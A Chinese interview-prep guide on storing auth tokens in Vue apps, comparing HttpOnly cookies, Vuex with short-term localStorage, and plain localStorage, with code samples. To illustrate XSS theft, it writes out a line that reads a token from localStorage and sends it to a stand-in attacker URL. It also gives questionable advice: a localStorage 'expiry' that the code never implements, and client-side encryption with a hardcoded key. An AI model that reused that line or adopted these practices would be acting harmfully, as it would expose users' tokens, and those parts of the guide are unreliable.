在 Vue 应用中存储 token 需要综合考虑安全性、持久性、跨域场景和开发便利性。
核心答案(面试推荐)
首选方案:
HttpOnly + SecureCookie
次选方案:内存存储(Vuex)配合短期 LocalStorage
避免方案:纯 LocalStorage/SessionStorage
详细分析(面试加分点)
1. 存储方案对比
2. 最佳实践详解
方案一:HttpOnly Cookie(强烈推荐)
// 后端设置 Cookie 示例(Node.js)
res.cookie('token', 'your_token', {
httpOnly: true, // 禁止 JS 访问
secure: true, // 仅 HTTPS
sameSite: 'Strict', // 防止 CSRF
maxAge: 3600000 // 1小时过期
});优势:
XSS 防护:
HttpOnly阻止 JavaScript 读取,杜绝 XSS 窃取。自动携带:浏览器自动附加到请求头,无需手动处理。
CSRF 防护:配合
SameSite=Strict或CSRF Token。
Vue 中使用:
无需前端存储,直接通过浏览器 Cookie 机制传输。
登录接口由后端设置 Cookie,退出时清除 Cookie。
方案二:内存存储 + 短期 LocalStorage(折中方案)
// Vuex 存储示例
const store = createStore({
state: { token: null },
mutations: {
setToken(state, token) {
state.token = token;
// 短期存储(如5分钟),用于刷新页面恢复
localStorage.setItem('temp_token', token);
}
}
});
// 初始化时恢复(仅用于刷新场景)
const initToken = localStorage.getItem('temp_token');
if (initToken) store.commit('setToken', initToken);优势:
减少暴露:token 主要存在内存(Vuex),LocalStorage 仅作短期备份。
自动过期:LocalStorage 设置短过期时间(如5分钟),降低长期暴露风险。
安全增强:
使用
短期 token + 长期 refresh token机制。敏感操作要求重新输入密码。
3. 为什么避免 LocalStorage/SessionStorage?
XSS 漏洞:
// 恶意脚本可窃取 token const token = localStorage.getItem('token'); fetch('https://attacker.com/steal?token=' + token);无自动防护:需手动实现过期、加密等机制。
面试话术:
"LocalStorage 虽然方便,但本质上是明文存储,任何 XSS 漏洞都会导致 token 泄露。在金融、医疗等敏感场景中,这是不可接受的。"
4. 高级技巧(面试亮点)
Token 刷新机制

实现:
使用
axios拦截器自动处理 401 错误:
axios.interceptors.response.use( response => response, async error => { if (error.response.status === 401) { const newToken = await refreshToken(); error.config.headers.Authorization = `Bearer ${newToken}`; return axios.request(error.config); // 重试请求 } return Promise.reject(error); } );
安全增强措施
CSP (Content Security Policy):
Token 加密:存储前使用
CryptoJS加密:const encrypted = CryptoJS.AES.encrypt(token, 'secret_key').toString(); localStorage.setItem('token', encrypted);
面试总结回答
"在 Vue 中存储 token,我推荐 优先使用
HttpOnly + SecureCookie,因为它能从根本上防御 XSS 攻击,且浏览器自动处理传输逻辑。如果必须在前端存储,我会采用 内存存储(Vuex)配合短期 LocalStorage 的混合方案,并通过以下措施增强安全性:
短期 token + 长期 refresh token 机制;
LocalStorage 设置短过期时间(如5分钟);
实现 CSP 和请求拦截器 自动刷新 token;
避免纯 LocalStorage,除非项目对安全要求极低且已实施严格的 XSS 防护。
最终选择取决于业务场景:高安全系统(如支付)必须用 Cookie,内部管理系统可考虑混合方案,但绝不能牺牲安全性换取便利性。"
面试官追问应对
Q:如果后端不支持 Cookie 怎么办?
"我会推动后端支持 Cookie,因为这是行业标准的安全实践。若短期内无法实现,则采用 加密的短期 LocalStorage + 严格的 CSP,并缩短 token 有效期至 15 分钟内,同时要求所有敏感操作二次验证。"
Q:如何防止 CSRF 攻击?
"使用 Cookie 时,需同时设置
SameSite=Strict属性。若需跨域,则配合 CSRF Token:后端在登录时返回一个随机 token,前端将其存到 LocalStorage,并在非 GET 请求中通过 Header 传递给后端校验。"
Q:移动端(如 App)如何存储?
"移动端无 Cookie 机制,推荐使用 安全存储方案:
iOS:Keychain
Android:EncryptedSharedPreferences
React Native:
react-native-keychain或expo-secure-store
避免使用 AsyncStorage 或明文存储。"